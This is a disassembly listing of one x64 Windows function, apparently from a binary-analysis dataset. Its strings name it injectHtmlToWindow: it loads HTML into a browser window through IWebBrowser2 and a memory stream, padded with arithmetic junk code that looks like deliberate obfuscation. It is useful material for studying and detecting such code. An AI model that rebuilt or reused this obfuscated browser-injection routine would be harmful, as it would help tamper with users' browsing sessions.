Function at 0x14000c71c
Capabilities:
Encode data using xor
Get disk size

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rax + 0x20], rbx
mov r15, r8
mov rsi, rdx
mov rdi, rcx
mov r9d, dword [0x1401aad80]
mov ecx, r9d
imul ecx, r9d
mov ebx, 0x38e38e39
mov eax, ebx
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
xor r13d, r13d
cmp ecx, 8
jne 0x14000c7a0
mov ecx, r9d
test r9d, r9d
je 0x14000c793
dec ecx
je 0x14000c787
inc r9d
jmp 0x14000c799
mov r9d, r13d
mov dword [0x1401aad80], r13d
jmp 0x14000c7a0
mov r9d, 2
mov dword [0x1401aad80], r9d
mov r12b, r13b
imul r9d, r9d
mov eax, 0x2aaaaaab
imul r9d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub r9d, eax
cmp r9d, 0xb
jne 0x14000c7dc
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov qword [rbp - 0x40], r13
mov ecx, dword [0x1401aad80]
mov r8d, ecx
imul r8d, ecx
imul r8d, ecx
mov eax, ebx
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub r8d, eax
cmp r8d, 3
jne 0x14000c833
lea eax, [r8 + 0x45]
mov r8d, eax
test r8d, r8d
je 0x14000c82a
mov ecx, r8d
cdq
idiv r8d
mov r8d, edx
mov eax, ecx
test ecx, ecx
jne 0x14000c815
add eax, r8d
mov dword [0x1401aad80], eax
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
mov rcx, qword [rdi + 0xa0]
mov rax, qword [rcx]
lea r8, [rbp - 0x40]
lea rdx, [0x140137c50]
call qword [rax]
mov ebx, eax
test eax, eax
jns 0x14000c8d3
lea rcx, [0x1401a29a8]
mov rdx, qword [0x1401a29a8]
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp - 0x10], rax
mov r8d, ebx
lea rdx, str.injectHtmlToWindow_QueryInterface_pWebBrowser2__d
lea rcx, [rbp - 0x10]
call fcn.1400101f8
mov rax, qword [rdi]
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [rax + RegisterTypeLib]
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14000c8ae
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000c8be
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000c8ce
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000ccd3
mov rax, qword [rsi]
lea r8, [rbp - 0x50]
lea rdx, [0x140137c50]
mov rcx, rsi
call qword [rax]
mov ebx, eax
test eax, eax
jns 0x14000c967
lea rcx, [0x1401a29a8]
mov rdx, qword [0x1401a29a8]
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp - 0x38], rax
mov r8d, ebx
lea rdx, str.injectHtmlToWindow_QueryInterface_IDispatch__d
lea rcx, [rbp - 0x38]
call fcn.1400101f8
mov rax, qword [rdi]
lea rdx, [rbp - 0x38]
mov rcx, rdi
call qword [rax + RegisterTypeLib]
nop
mov rdx, qword [rbp - 0x38]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14000c942
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000c952
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000c962
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000ccd3
mov rax, qword [rbp - 0x50]
cmp qword [rbp - 0x40], rax
je 0x14000c9e9
lea rcx, [0x1401a29a8]
mov rax, qword [0x1401a29a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x20], rax
lea rdx, str.injectHtmlToWindow_browsers_not_equal
lea rcx, [rbp - 0x20]
call fcn.1400101f8
mov rax, qword [rdi]
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [rax + RegisterTypeLib]
nop
mov rdx, qword [rbp - 0x20]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14000c9c4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000c9d4
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000c9e4
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000ccd3
mov rax, qword [r15]
mov ecx, dword [rax - 0x10]
inc ecx
movsxd rbx, ecx
lea rsi, [rbx + rbx]
mov rdx, rsi
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r14, rax
mov edx, dword [0x1401aad80]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 0x8000000f
jge 0x14000ca24
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 1
jne 0x14000ca66
mov r8d, r13d
mov r9d, r8d
mov r10d, 8
mov ecx, r9d
and ecx, 1
dec ecx
not ecx
and ecx, edx
mov eax, r9d
sar eax, 1
mov r9d, ecx
xor r9d, eax
dec r10
jne 0x14000ca35
add edx, r9d
inc r8d
cmp r8d, 0x100
jl 0x14000ca2c
mov dword [0x1401aad80], edx
test r14, r14
jne 0x14000caf0
lea rcx, [0x1401a29a8]
mov rax, qword [0x1401a29a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.injectHtmlToWindow_GlobalAlloc__d
lea rcx, [rbp - 0x30]
call fcn.1400101f8
mov rax, qword [rdi]
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [rax + RegisterTypeLib]
nop
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14000cacb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000cadb
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000caeb
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000ccd3
mov r8, rsi
xor edx, edx
mov rcx, r14
call fcn.1400c2d60
mov r8, qword [r15]
lea rax, [rbx - 1]
mov esi, r13d
mov ecx, 0x80070057
mov edx, 0x7ffffffe
cmp rax, rdx
cmova esi, ecx
test esi, esi
js 0x14000cc5d
mov rcx, r14
mov esi, r13d
test rbx, rbx
je 0x14000cb54
sub rdx, rbx
sub r8, r14
lea rax, [rdx + rbx]
test rax, rax
je 0x14000cb4f
movzx eax, word [r8 + rcx]
test ax, ax
je 0x14000cb4f
mov word [rcx], ax
add rcx, 2
dec rbx
jne 0x14000cb30
test rbx, rbx
jne 0x14000cb5d
sub rcx, 2
mov esi, 0x8007007a
mov word [rcx], r13w
test esi, esi
js 0x14000cc5d
lea r8, [rbp - 0x48]
mov edx, 1
mov rcx, r14
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov ebx, eax
test eax, eax
je 0x14000cbfc
lea rcx, [0x1401a29a8]
mov rdx, qword [0x1401a29a8]
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp - 0x28], rax
mov r8d, ebx
lea rdx, str.injectHtmlToWindow_CreateStreamOnHGlobal__d
lea rcx, [rbp - 0x28]
call fcn.1400101f8
mov rax, qword [rdi]
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [rax + RegisterTypeLib]
nop
mov rdx, qword [rbp - 0x28]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14000cbd7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000cbe7
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000cbf7
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000ccd3
mov r8, qword [rbp - 0x48]
mov rdx, qword [rdi + 0xa0]
mov rcx, rdi
call fcn.14000cd4c
test eax, eax
jns 0x14000cc38
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000cc23
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000cc33
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000ccd3
mov r12b, 1
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000cc4b
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000cc5b
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000ccd3
lea rcx, [0x1401a29a8]
mov rax, qword [0x1401a29a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov r8d, esi
lea rdx, str.injectHtmlToWindow_StringCchCopy__d
lea rcx, [rbp - 0x18]
call fcn.1400101f8
mov rax, qword [rdi]
lea rdx, [rbp - 0x18]
mov rcx, rdi
call qword [rax + RegisterTypeLib]
nop
mov rdx, qword [rbp - 0x18]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14000ccb3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000ccc3
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000ccd3
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14000cce2
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0x10
jne 0x14000cd2b
mov ecx, 4
call fcn.1400be0e0
mov rbx, rax
call fcn.1400be2e0
mov dword [rbx], eax
mov dword [0x1401aad80], eax
mov rcx, rbx
call fcn.1400bd904
mov al, r12b
mov rbx, qword [rsp + 0xd8]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret